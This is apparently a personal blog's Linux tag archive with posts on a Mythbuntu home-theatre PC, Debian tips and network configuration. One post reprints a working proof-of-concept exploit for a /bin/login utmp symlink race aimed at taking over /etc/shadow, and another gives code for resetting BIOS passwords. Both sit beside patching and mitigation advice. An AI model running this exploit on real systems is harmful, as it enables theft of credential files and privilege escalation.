Tag Archive for 'linux'

Part 2: Connections and Configuration

February 3rd, 2009 by peasleer

In part one of this series, I covered the hardware and basic operating system installation for a home theater PC running Mythbuntu. In other words, part one covered the easy stuff. Running the audio cables between the PC and the TV is actually a more complicated affair than I had imagined, yielding three major issues that had to be overcome before ending up with an acceptable configuration.

The blue lights are very subtle, but neat in the dark

The blue lights are very subtle, but neat in the dark

1. Audio

I should clarify that connecting the cables isn’t the problem, it is the technical limitations and configuration issues accompanying their connection that poses challenges. My audio connection is straight stereo-out to stereo-in via a 10 foot 3.5mm interconnect. Upon plugging it in and turning on the TV however, no audio was present. The reason behind the problem ended up being with how ALSA was loading modules, and was easily fixed with a configuration change. If you copy my setup and are using a Creative Audigy 2 sound card with an Ubuntu variant, try the following:

  1. Run ‘alsamixer’ on the command line and verify your Master and PCM channels are turned up.
  2. Verify you have your cable plugged in to the correct slot on your sound card.
  3. My fix: another sound device (my motherboard’s onboard sound) was stealing ALSA’s focus. Adding the following to /etc/modprobe.d/blacklist and rebooting fixed my problem: blacklist snd_intel8x0

2. Video – Analog Connection via DSUB15

The Viera has an analog mini-DSUB 15 port for hooking up a PC directly to the TV. I had never had an issue with signal quality before on smaller monitors, so I didn’t forsee any problems with hooking a ten foot VGA cable from the computer to the TV. There are a multitude of issues with this setup, however.

First, read the specifications for the Viera carefully (in the manual, I couldn’t find the information anywhere else), and Panasonic states the TV is capable of producing a maximum resolution of 1280×1024@60hz. This is a slight problem, because in order to display content at 1080p, 1080 lines of vertical resolution are needed. Furthermore, with a 10′ run of analog signal 1024×768 is clean, but pushing 1280×1024 causes a significant amount of signal and color bleeding.

The pits of this is that if you stick with an analog connection, you are really stuck with these problems. You can clean up the signal by running a shorter cable from the HTPC and the TV, but that limits the placement of the machine. The resolution limitation is the real kicker, as spending all of that money on a HDTV capable of producing 1080p becomes a complete waste if you can only fully display 720p content. I refused to believe that the TV couldn’t produce its native resolution of 1920×1080 from a computer source, so the next fix comes from addressing that issue.

3. Video – Digital Connection via DVI -> HDMI (and More Audio Solutions)

The TV is capable of producing 1080p from a source connected through component or HDMI cables, displaying at 1920×1080. My solution to the problems found in section two of this post was to then find a way to get my HTPC’s video output to an HDMI cable. HDMI is really only DVI with added support for sound, so another $15 purchase of a DVI -> HDMI cable and a week of waiting was all I needed to make the connection. The benefit was immediate – being digital, there is no signal bleeding or interference. The drawbacks presented themselves just as quickly, however. I found that my analog audio connection had cut out, I could no longer produce sound on the TV. Additionally, the HTPC was displaying at 1920×1080, but the TV was only displaying a portion of it, with my mouse going off-screen to access common menus.

The video display was the most immediately annoying part. Reading many online forums suggested that it was a problem with overscanning, and there were even guides on how to access the service menus of the Viera to grant a 1:1 pixel match (effectively disabling overscanning). I haven’t found this documented anywhere else, so I want to say it clearly: ADJUSTING YOUR VIERA’S OVERSCAN SETTINGS IS UNNECESSARY (is it still bad design to use marquee and blink tags? I’m tempted to use them here). The easy and smart fix is documented in the service manual (not the user manual), and is as easy as the following:

  1. Plug in your DVI -> HDMI cable, ensure your source HTPC is on and change the TV’s video input so the HTPC’s screen is visible.
  2. On your remote, press “Menu,” then go to “Picture”
  3. Scroll down to the second screen, and go to “Advanced Picture”
  4. Go to the last option, “HD size,” and change it from “1″ to “2″

That fixed it for me. Restarting Xorg and a change of the resolution to 1920×1280@55hz had me running in full high-def glory. But without sound.

The sound issue was a nuisance. HDMI normally carries a digital audio signal with the digital video feed, so the Viera is nice enough to automatically ignore all analog audio input sources when your display comes from an HDMI source. Unfortunately, getting audio spit out over DVI was more difficult than I cared to pursue (with a lot of forums claiming the task impossible), and buying a DVI + analog audio -> HDMI converter is in excess of 200 euros. Again, the simpler and smarter solution is again in the Viera service manual (not the user manual), and can again be done by following these steps:

  1. Plug in your HTPC and get it set up again so the screen is visible.
  2. On your remote, press “Menu,” then go to “Audio”
  3. Select “Advanced audio”
  4. Go to “HDMI 1 in” (or to whichever port your HTPC is plugged in to)
  5. Scroll over until the port your audio source is in is selected (I selected “PC”)

You should now have overridden the default of using the digital signal from your HDMI cable to now use the analog input.

For me, these three steps resolved the major issues (and relieved the major headaches) I encountered while setting up my HTPC. I sincerely hope that these steps will help people avoid making the mistakes I did, and save them the many days spent polling forums looking for answers to these issues. In part three of this series of posts, I will address setting up the system to make retrieving media especially easy, and some other configuration tweaks that make my system an easy-to-use content retrieving monster. Subscribing to my RSS feed will ensure you don’t miss it.

I’m off to watch The Dark Knight in 1080p – until next time!

Part 1: Mythbuntu HTPC and a Panasonic Viera

February 2nd, 2009 by peasleer

I purchased a 46″ Panasonic Viera 1080p plasma TV at the beginning of January, and the resulting fun I’ve been having with it is largely responsible for my lack of recent blog updates. I, being the cheap geek I am, have no desire to either pay for an HD package from my cable company, nor do I want to go out and buy an HD source and then buy or rent movies. The solution I came up with to view my existing media and new HD content thus revolves around a relatively cheap solution – a home theatre PC (HTPC). There were significant challenges in getting everything set up how I wanted it, and to prevent others from having to repeat my failures, I’m going to post a multi-part guide to repeating my final configuration – which looks a little like this. Part 1 after the jump!

HTPC Setup

Yes, that is 30 Rock in the background :)

Continue reading ‘Part 1: Mythbuntu HTPC and a Panasonic Viera’

Arbitrary File Ownership Exploit in Linux

December 5th, 2008 by peasleer

Remember our discussion on viewing computer security as threat mitigation? Well the likely risk of one attack vector being exploited has just increased.

An issue was uncovered in Linux’s /bin/login and utmp being able to change the ownership of arbitrary files upon remote login. The example they discussed was changing /etc/shadow to be readable by a normal user (supposedly for password cracking at the attacker’s leisure), but this could also be used to make accessible ownership of other people’s ssh private keys, view plaintext passwords in daemon configuration files, gain access to applications normally restricted to superusers, and of course do whatever else a creative individual could think of. The current exploit is a proof-of-concept, and thus isn’t all that elegant (nor dangerous). However, that doesn’t mean future iterations of the exploit code won’t be either.

The issue can be easily avoided by updating your Debian system – the Debian security team has released an update which includes a fix for this issue.

For other distributions, there has been no discussion of temporary measures to avoid being vulnerable. My suggestions for temporary protection from the *current* exploit are:

  1. Disable external incoming access to port 23 (telnet).
  2. Prevent the telnet daemon (telnetd) from running.
  3. Don’t give in to any requests to ‘chgrp utmp’ anything (although this isn’t a complete workaround – if an issue allowing escalation of privileges within any utmp owned file is found, you will still be vulnerable without another temporary fix from above)

However, I believe another iteration of this exploit will include using rlogin if telnet fails, as it also uses /bin/login. To avoid being vulnerable to this threat while a patch is released for your distribution, you may also do the following:

  1. Disable external incoming access to port 513 (rlogind).
  2. Prevent the rlogin daemon (rlogind) from running.
  3. Same as 3. from above.

To be complete, below is the proof-of-concept exploit developed by Paul Szabo of the University of Sydney. It was released on December 1, 2008.

#!/bin/bash -

echo '
	#include
	#include
	#include
	#include
	#include
	#include 

	int main(int argc, char *argv[])
	{
	  struct utmp entry;
	  int i;

	  entry.ut_type=LOGIN_PROCESS;
	  strcpy(entry.ut_line,"/tmp/x");
	  entry.ut_time=0;
	  strcpy(entry.ut_user,"badguy");
	  strcpy(entry.ut_host,"badhost");
	  entry.ut_addr=0;
	  for(i=1;i<9;i++) {
	    entry.ut_pid=(pid_t)( i + (int)getpid() );
	    sprintf(entry.ut_id,"bad%d",i);
	    pututline(&entry);
	  }
	}
' > /tmp/fillutmp.c

cc -o /tmp/fillutmp /tmp/fillutmp.c

echo 'Ask someone with group utmp privileges to do:'
echo '  chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS

echo '
	#include 

	int main(int argc, char *argv[])
	{
	  while(1)
	  {
	    unlink("/tmp/x");
	    symlink(argv[1],"/tmp/x");
	    unlink("/tmp/x");
	    symlink(argv[2],"/tmp/x");
	  }
	}
' > /tmp/jigglelnk.c

cc -o /tmp/jigglelnk /tmp/jigglelnk.c

HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."

ATK=/etc/debian_version # should be /etc/shadow

echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!

LOOP=0
while :; do
  ((LOOP = $LOOP + 1))
  echo; echo; echo "Try = $LOOP"

  /tmp/fillutmp

  echo "Telnetting... if login succeeds, just exit for next try..."
  /usr/bin/telnet $HOST

  LS=`ls -ld $ATK`
  case "$LS" in
    *root*root* ) ;; # not done yet...
    * )
      echo; echo
      echo "Success after $LOOP tries!"
      echo "$LS"
      echo; echo
      break
    ;;
  esac
done

kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x

# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28  2006 /etc/debian_version

Stay secure!

Developing on OSX

November 1st, 2008 by peasleer

A lot of developeres I knew back in college loved using Macs for their development machines, and you don’t have to look very far to see this opinion reflected on the Internet. In total, I’ve been using a Mac as a development machine for about five months. And now that I have a spare moment to write, I want to share my experience coming from using Debian Linux as a development machine to coding Java on a Mac.

The Environment

OSX as an environment is just different initially. Using the Apple key instead of the control key is odd to get used to, so there was some loss of productivity (and a lot of frustration) when my muscle-memory keyboard shortcuts weren’t working. I got over the change after a couple weeks, but it still is a pain. The placement of the Apple key is two keys further in than control, and I now have to move my hand a decent amount to hit my very frequently keyboard shortcuts.

The windowing system also takes some getting used to. Close and application and it doesn’t actually close? What gives? I haven’t found a single instance where that has been a useful feature to have. It just adds a separate action to closing a process.

On those lines, windows can only be resized from the bottom right corner. If you want to expand something by grabbing an edge, or making something bigger by dragging an upper edge, you can’t. After growing up on Windows and then Debian with KDE, the instinctual grab and drag resulting in a non-action is annoying. The borders are there, but they aren’t functionally doing anything other than separating the window from other windows.

OSX is also missing virtual desktops. From a developer’s standpoint, all I can do is issue a giant WTF. Having separate desktops allows for the separation of distracting tasks and productive tasks. Having e-mail, instant messenger, and iTunes sharing a space with Eclipse, documentation, and my xterms (more on that in a sec) is extremely counter-productive. The argument can always be made that only applications you are using should be open, but switching workflows should be as simple as hitting a shortcut – not by manually managing windows.

A very minor point is that OSX does not feel snappy. My machine is a couple years old, so that could have something to do with it – but having a few xterms open and eclipse in the background should not cause a noticeable delay when switching to and typing into a new text field.

The Tools

The biggest thing that initially irked me about OSX was its lack of several very common tools. For example, OSX offers curl as a web retrieval tool instead of wget, claiming they are functionally equivalent. They absolutely are not. Wget has a mirroring feature that I found myself sorely missing when trying to pull down a multi-leveled source tree without version control from a web page.

Also missing isn’t as much of a tool, but a feature that is completely missing: the /proc filesystem. On a Linux box, a /proc filesystem can be easily enabled (if it isn’t by default) which contains information about the kernel, processes, devices, the processor, and a HUGE amount of infromation that comes in pretty handy in unexpected ways while developing. Not having this resource available causes headaches at inopportune times.

Other tools are available, but modified. Tools such as netstat show different information and have slightly modified options than the Debian counterparts. The result: figuring out how to display which process was tied to a port took nearly 15 minutes to figure out instead of taking a couple seconds to issue a command. Another example is top: processes can’t be listed as trees in the OSX version of the tool. It is small subtleties such as this that interrupt me when I am deep in a mental debugging stack – subtleties that kill productivity and add frustration.

A smaller issue was the lack of X11 and xterm. Console is fine for small tasks, but lacks the power and customizability of an xterm. Plus, I don’t want to reconfigure a console to match my xterm. I just want to pull over my .Xdefaults and have things the way I had them before. Luckily, Apple provides X11 in their developer pack, so installation wasn’t an issue.

Installation and Package Management

Application installation on a Mac is incredibly easy for user applications. Things like Omnigraffle (my very favorite diagramming software EVER) install with a drag and drop from a disk image to the applications folder.

However, installing common Unix tools (like wget, for reasons mentioned above) was a problem completely ignored by Apple. There is no package manager that comes with OSX by default for these kind of tools, and compilation is left up to the user. As a developer, this matters to me. In Debian, the power of the APT package management system made installing a new tool a single command process. Apple very easily loses here in terms of ease of use.

Libraries are also managed in a way that was initially odd. OSX considers applications like Java to be a framework, so access to something like JAVA_HOME is hidden behind a symlink. Not being in a standard location was initially annoying (/usr/lib or something similar), but once found, I was already a huge fan of the system. Keeping a symlink to a library is a Good Thing ™, because upgrades can be made seamlessly to new versions without requiring any updates to the shortcuts that point to the library. However, it could be done better. Debian uses an ‘alternatives’ system for all major libraries. Now multiple versions of any library can be set as the system-wide default at any time without requiring shortcut updates by allowing the alternatives system to manage the symlinks for you. This actually becomes useful in java development for allowing your application to be easily tested using different virtual machine implementations.

Conclusion

The conclusion shouldn’t come as any surprise to anyone: I hate developing on a Mac. I do no Mac-specific development, so the ease of writing Cocoa applications with Xcode means nothing to me. The features that I have come to rely on are either missing or implemented differently on OSX, leaving me with hurdles and interruptions where I absolutely do not need them.

When I am developing, I want things to just work – and I mean that from a developer’s perspective. My user experience matters less to me than having my platform enable my development productvity, and in this department OSX fails. I eagerly await the time when I can switch back to a Debian Linux workstation for my professional development, with fluid workflows and familiar tools to fuel my debugging speed and code output.

Installing Java on Debian

June 30th, 2008 by peasleer

GCJ, the GNU compiler with java extensions, does a great job at compiling Java into bytecode, but still has some bugs in its libraries when dealing with Swing components. Installing Sun’s Java packages on Debian thus is occasionally necessary, and has historically been a chore. I won’t list the process here to even show my distaste for it – it just wasn’t very fun.

Things are much easier now, though. Just make sure a non-free package repository is listed in your sources.list, and things become magic:

sudo echo "deb http://ftp.us.debian.org/debian/ lenny non-free" >> /etc/apt/sources.list

(Note that if you aren’t using lenny, you should change that. Also, feel free to choose a different mirror.)

Now update your package repository:

sudo apt-get update

And finally install whichever Sun Java packages you want!

sudo apt-get install sun-java6-jdk sun-java6-jre sun-java6-plugin

Cheers to Matthias Klose (Ubuntu), Juergen Kreileder (Blackdown), Barry Hawkins, Jeroen van Wolffelaar, and the other folks behind debian-java for adding these packages to Debian’s repositories. It is another push that greatly enhances the usability of the project for both developers and users alike.

Debugging Serial Applications Using Screen

June 21st, 2008 by peasleer

My coolest project from work as of late has been to write a program to control the Sharp LCD projectors in RIT’s Software Engineering department through a serial interface. I really like writing code that interfaces with hardware, so this was one I enjoyed doing.

One thing I learned quickly is that debugging serial applications is hard. When my code wasn’t working, I didn’t know if it was because of the hardware, the software, or the command messages I was sending. If serial consoles or line printers were still widely available, it wouldn’t be hard to see what was going on. Since they aren’t, an alternate solution was devised utilizing GNU screen.

With two Linux boxes running Debian, I set one up with my code to send data from, and the other with screen attached to the serial device at /dev/ttyS0. Screen functions normally, but with the added bonus of displaying messages recieved from the serial device, and when entered, sending messages to the device. Screen makes it possible to visualize serial communications and send test messages without having to write or modify any code, making it an infinitely useful tool in debugging serial applications.

My bug turned out to be twofold: one hardware, and one software. The first was that the serial connection to the projector was not complete; there is a break somewhere in the wall. The second was that the manual states only that the command message be followed by a newline character. I was sending Unix newlines, like ‘\n’. The projector was written expecting Windows style newlines, which is a newline prepended by a carriage return, or ‘\r\n’. This simple fix, which I would have never stumbled over without the help of screen, was the source of my software based problems.

Shuttleworth Gives a Nod to Debian

April 28th, 2008 by peasleer

As is plastered all over the Internet, Ubuntu 8.04 Hardy Heron was recently released for the public to feast upon. I really don’t care about the release itself, but I *do* care about Mark Shuttleworth’s blog post regarding the release. Specifically:

We all owe a great deal to the team who make Debian’s “unstable” repository possible, and of course to the upstream projects from GNOME and KDE through to the Linux kernel.

Read the rest of it here.

I think Mark’s statement shows maturity in the Ubuntu project, and I respect him for showing the open source community some love.

I’m not affiliated with the Debian project in any official capacity (yet!), but I’m happy they are getting the credit they deserve. Kudos to the Debian team and every package maintainer – you don’t hear it enough, but there is a large percentage of the technically aware population that appreciates the work you do beyond measure.

Reset BIOS Passwords – An Explanation and Tool

February 16th, 2008 by peasleer

I’ve been seeing a lot of sites throwing around a “how to reset BIOS passwords” tip that revolve around using the DOS/Windows DEBUG tool. In case you haven’t seen it, it goes a little like this:

  1. Create a boot floppy/disc with the debug tool on it
  2. Type -o 70 2e
  3. Type -o 71 FF
  4. Type quit
  5. Reboot

Curious as to why this works? So was I, but none of the sites I saw included an explanation. So after some googling, I uncovered the nitty-gritty details.

The CMOS memory is actually accessible to the user for reading and writing. I’m not aware of a recent operating system that doesn’t restrict write access to the administrator/super user, but it is there nontheless. It contains a lot of information, such as the system time (direct access to the real-time clock), BIOS information, and CMOS data. With this knowledge, I would suggest taking a look at this link, which is a reference to how the CMOS memory is laid out. It is what I used to determine what the hex values being output were doing.

The -o option of debug just outputs a value to an io port. The CMOS memory is accessed through ports 70 and 71, which explains the first parameter of the steps above. The second part can be seen from the CMOS reference I linked to above – by latching the address 0×2e for writing, and then setting its value to 0xff, we are manually telling the CMOS that it has an invalid checksum. The behavior when this occurs is to revert to the default BIOS, a feature which is supported independent of operating system or processor architecture – ie, any AT/ATX motherboard will do this.

None of the sites list instructions for if you are a Linux user, and assume you’ll have access to the debug program. So, now understanding how this specific utilization of debug worked, I wrote my own version in C. It can be compiled using gcc, and is compatible with all *nix distributions – so add it to your rescue LiveCD toolkit, you never know when you’ll need it :)

Here is the source:

resetBIOS.c

#include <stdio.h >
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>

/* Written by Robert Peaslee - www.robertpeaslee.com */
/* compile: gcc -o resetBIOS resetBIOS.c */
/* Run as superuser. */

int main() {

  /* Allow writing to ports 70 and 71  */
  if( ioperm(0x70, 1, 1) || ioperm(0x71, 1, 1) ) {
    perror("Error setting write permissions");
    printf("\n");
    exit(1);
  }

  /* output 0x2e to port 70, which is the address where the
   * CMOS checksum is stored */
  outb(0x2e, 0x70);
  /* Small sleep to allow the changes to take effect. */
  usleep(100000);
  /* Tell the CMOS that the checksum is bad, forcing it to
   * load the default BIOS on reboot. */
  outb(0xff, 0x71);

  /* Reset the port permissions to not be writeable */
  if( ioperm(0x70, 3, 0)) {
    perror("Error restoring permissions");
    printf("\n");
    exit(2);
  }

  exit(0);

}

And if you only want the assembly specific portions without relying on external libraries:

out 70, 0x2e
out 71, 0xff

…but note you’ll have to add your own data/text sections and a main: entry point if you want to actually assemble it. Additionally, you’ll have to convert this to at&t syntax if you want to inline it in C code using the gcc compiler.

So there you have it – a full explanation of why it works, an example in C, and a complete reference of the layout of CMOS memory. If you still have questions, leave them in the comments!

Howto: Virtual Isolated Network Using VMWare

February 15th, 2008 by peasleer

I enjoy computer security. There aren’t a lot of opportunities to study it formally within computer science, so my education in this field is entirely from what I read and practice in my own time.

Most recently, I’ve been feeling the itch to write a worm. The idea is attractive because a worm can be developed modularly with reusable components. Each individual component will increase my knowledge substantially in a different area of security, making the development a measurable goal with incremental positive feedback.

However, before development could begin, I wanted to ensure that I wouldn’t end up in court for an accidental release of one of the components gone awry. I love virtual machines as a tool to aid in the development process, so the solution was immediately obvious – create a multi-host virtual network that is isolated from the world. Further, I wanted each machine on this isolated network to occasionally be able to access the Internet to retrieve updates or tools, so the isolation needed to be complete but /controllable./ The final requirements of the virtual network ended up looking like this:

  • Isolated network except when explicitly given access to the Internet
  • Multiple hosts with different operating systems
  • Must be able to easily add and remove hosts
  • All hosts on the network must both default and fail to isolation

The way to implement this using VMWare Workstation (and I’m sure other products in their virtualization line) is to utilize teams. Teams are a ‘wrapper’ of a sort that encompass multiple VMs with additional configuration. When you start a team, each virtual machine included in the team’s configuration is also started. The team can be configured to also provide a virtual network segment for the virtual machines to use, which when paired with each VM in the team being configured with ‘host only’ network access, results in a virtual isolated network.

The team doesn’t provide DHCP though, which means the network has to be maintained with static address and modifications to each machine’s host file. This hardly met my requirement for easily adding and removing hosts from the network. Creating a host that would act as the network server fulfills this requirement, and will also facilitate network control access. As we continue on, please note that I’m using Debian Linux with a 2.6.x kernel, and all of the commands I give below and edits to configuration files *must be done as a superuser.*

Enough setup: time for implementation. To speed the process, I created two base images, one Windows XP SP2 install, and one Debian Lenny netinstall with a 2.6.x kernel. Each image was updated to include the latest patches, user accounts were created, and standard tools were installed. Once these base images were created, they were set aside to never be modified. Clones of the base images are created for each of the expendable hosts, and one clone of the Debian base image was used as the only ‘permanent’ member of the team. All members of the team share one virtual network segment, and have one interface. The only exception to this is the network server VM, which is dual-homed to be connected to both the virtual network and the Internet via NAT.

All hosts default to DHCP, so cloned images have no need for additional configuration when added. The network server is the only machine that had be set up specially. The bind9 and dhcp3-server packages were obtained (for DNS and DHCP, respectively) using Debian’s awesome package manager:

apt-get install bind9 dhcp3-server

Configuring bind is trivial, it defaults to forwarding DNS requests, so nothing is required as far as configuration unless you want to. dhcpd, provided by dhcp3-server, is a little more complicated. First, the interface connected to the isolated network must be set up to have a static address in the subnet in which you will be offering IP addresses, like 10.10.10.1 for the 10.10.10.x subnet or 192.168.30.1 for the 192.168.x.x subnet. It would be wise to modify your interface configuration to make this change survive rebooting.

/etc/network/interfaces:

auto lo eth0 ethiface lo inet loopback
iface eth0 inet static
 	address 10.10.10.1
 	netmask 255.255.255.0iface eth1 inet dhcp

The external interface is eth1, and is configured with DHCP since it is NAT routed. The internal interface is eth0, and is given an ip of 10.10.10.1 with a subnet mask of 255.255.255.0. (This means that the last quartet of the IP address is variable and available for use.) Next comes the configuration for dhcpd:

/etc/dhcp3/dhcpd.conf:

default-lease-time 600;max-lease-time 7200;
authoritative;option domain-name-servers 10.10.1.1 192.168.30.1

subnet 10.10.10.0 netmask 255.255.255.0 {
 range 10.10.10.2 10.10.10.254;
 option routers 10.10.10.1;
 option ip-forwarding off;
 option broadcast address 10.10.10.255;
 option subnet-mask 255.255.255.0;
}

Here we are saying that the subnet is 10.10.10.*, and that we will assign addresses from 10.10.10.2 – 10.10.10.254. The other options should be self-explanatory – read up on networking if you have questions. As it stands, when the interfaces are brought down and back up and dhcpd is started, addresses will be assigned to all virtual machines sharing that network segment. If this is all you want, just issue:

ifdown eth1 eth0
ifup eth1 eth0
/etc/init.d/dhcpd3-server start

And you are done! The machine now will serve DHCP to the isolated subnet, while maintaining separate access for itself to the Internet.

However, if you want to continue on to enable Internet access for other hosts on the isolated network, we still have some work to do.

My solution for this involves iptables and masquerading. Before we do anything, we’ll need to enable IP forwarding. This can be done in multiple ways, but the most reliable for me has been the following simple command:

echo 1 > /proc/sys/net/ipv4/ip_forward

With IP forwarding enabled, we can now utilize the masquerading features of iptables, the Linux firewall. By creating rules that will take packets coming in from our internal network’s interface and sending them out on our external interface, in addition to creating a complementing rule that will accept return packets coming in from the external interface headed for the isolated host, we can accomplish this. The individual rules for my setup are:

iptables -t nat -A POSTROUTING -s  -o eth1 -j MASQUERADE
iptables -A FORWARD -d  -i eth0 -j ACCEPT

Since these are annoying to have to type in each time I want to enable access for a host, I wrote a set of scripts. The first two enable and disable access for a host or multiple hosts respectively. The third script is my emergency “oh crap” failsafe, with which a simple command I can disable all isolated hosts’s access immediately followed by bringing down the network server’s interfaces for complete assurance that whatever is going on won’t get out of the virtual network. Here they are:

enableInternet.sh

#!/bin/bash
if [ $UID -ne 0 ]; then
        echo
        echo "Must be root to run this program."
        echo
        exit 1
fi

if [[ -z $* ]]; then
        echo
        echo "  Usage: ./enableInternet.sh <ipaddress [ipaddress2...ipaddressN]>"
        echo
        exit 1
fi

for ip in $@; do
        # Will match an address of type 10.10.1.2, which matches our subnet
        # definition
        check=`echo $ip | grep -E "^([[:digit:]]{2}[.]){2}[[:digit:]][.][[:digit:]]+$"`
        # If it doesn't match, print a warning and skip it
        if [ -z $check ]; then
                echo "Improperly formatted address $ip, skipping..."
                continue
        fi

        # Enable Internet access for the address
        iptables -t nat -A POSTROUTING -s $ip -o eth1 -j MASQUERADE
        iptables -A FORWARD -d $ip -i eth0 -j ACCEPT
        echo "$ip's internet access enabled..."

done

echo "Done."

blockInternet.sh

#!/bin/bash
if [ $UID -ne 0 ]; then
        echo
        echo "Must be root to run this program."
        echo
        exit 1
fi

if [[ -z $* ]]; then
        echo
        echo "  Usage: ./blockInternet.sh <ipaddress [ipaddress2...ipaddressN]>"
        echo
        exit 1
fi

for ip in $@; do
        # Will match an address of type 10.10.1.2, which matches our subnet definition
        check=`echo $ip | grep -E "^([[:digit:]]{2}[.]){2}[[:digit:]][.][[:digit:]]+$"`
        # If it doesn't match, print a warning and skip it
        if [ -z $check ]; then
                echo "Improperly formatted address $ip, skipping..."
                continue
        fi

        # Disable Internet access for the address
        iptables -t nat -D POSTROUTING -s $ip -o eth1 -j MASQUERADE
        iptables -D FORWARD -d $ip -i eth0 -j ACCEPT
        echo "$ip's internet access disabled..."
done

echo "Done."

blockAll.sh

#!/bin/bash
if [ $UID -ne 0 ]; then
        echo
        echo "Must be root to run this program."
        echo
        exit 1
fi

echo "Disabling Internet access for all hosts on 10.10.1.0/255.255.255.0..."

iptables --flush
iptables --delete-chain
iptables -t nat --flush
iptables -t nat --delete-chain
ifdown eth0 eth1

echo "Done."

I alias’d all the commands in my shell’s configuration scripts and prefixed them with sudo so they may be executed quickly and from anywhere on the system. If you’ve read this far, you should too – at least for the blockAll script. You don’t want to be fumbling around trying to remember where you put the script when you need complete isolation 30 seconds ago :)

I know this post was long, but there was a lot to cover. With this setup, hosts can now be easily added thanks to DHCP, Internet access is manually granted and defaults to none, and the environment is completely homogeneous. Perfect for worm development, malware analysis, or what have you. If you replicate this environment, let me know how it works out for you and what improvements you make. I’m always interested in making better systems!

Network-manager

February 8th, 2008 by peasleer

One of the relatively recent additions to KDE/Gnome has been the ‘network-manager’ tool. It attempts to make the life of its users easier by automagically managing your interfaces. I can’t comment on its effectiveness during a normal user’s session, but my experiences were frustrating.

I guess it isn’t fair to say network-manager’s operation was frustrating, but rather that it was running without my knowledge, causing weird behavior. I’m setting up dhcpd in a virtual machine to provide addresses for an isolated network. Normally this requires that you only set up the interface, grab the package, set up the subnets you want to assign addresses to in /etc/dhcp/dhcpd.conf, and start up the daemon. However, this time around, I ran into some problems.

First, I attempted to set up my primary interface to use a static IP. I edited /etc/network/interfaces to set eth0 to use a static IP, set it and its netmask, and then brought the interface back up. The output from ifconfig showed no IP assignment. What!? Thinking it was something I was doing wrong, I brought the interface back down and ignored it while I configured dhcpd.

The dhcpd.conf file isn’t difficult to set up. The subnets to service were declared, as were the address ranges to use when assigning addresses dynamically. When the configuration was done, I attempted to bring up the daemon. /etc/init.d/dhcp3-server start… and… errors. “Not configured to listen on any interfaces?” Ugh. Further digging revealed that dhcpd was looking to serve addresses on a 10.10.1.0 network that I had configured, but the only active interface was listening on a 169.0.0.0 network.

Wait – an interface is up? I took it down! I again checked the syslogs, and sure enough, something is initiating dhclient to find an IP address, and upon failing, is assigning a private IP from the 169.0.0.0 range to my interface. The root cause of it ended up being network manager trying to maintain a connection on the interface utilizing its own configuration. Stopping the network-manager service immediately fixed the problem – bringing up the eth0 interface resulted in it being assigned the static IP I wanted, dhcpd ran without a problem, and I was happy.

I have some gripes with network-manager from this experience.

First, I edited /etc/network/interfaces to make the changes to eth0’s configuration. That is the way changes have been made to interfaces since before I started using Linux. I understand what network manager was trying to do, but two things perplex me. Why did it block my static IP assignment when I tried to bring the interface up? It wasn’t even immediately overridden, there was literally no address assigned to the interface. And also, why, WHY is it ignoring standard configuration files? /etc/network/interfaces should remain the be-all is-all configuration for network interfaces. Using another configuration file just makes things confusing.

Second, I believe the behavior of network-manager needs to be changed. I don’t know how this would be possible, so it may be an unreasonable thought – but if I bring down an interface manually, I don’t want it back up until I manually bring it up. Network-manager bringing up that interface after I had manually taken it down was confusing as all hell, and I certainly don’t use Linux to have my machine work against me.

I have disabled network manager permanently on my system. For a standard user (are there any ’standard’ Linux users?) it may function well, but for anyone that wants control of their machine, I suggest they do the same.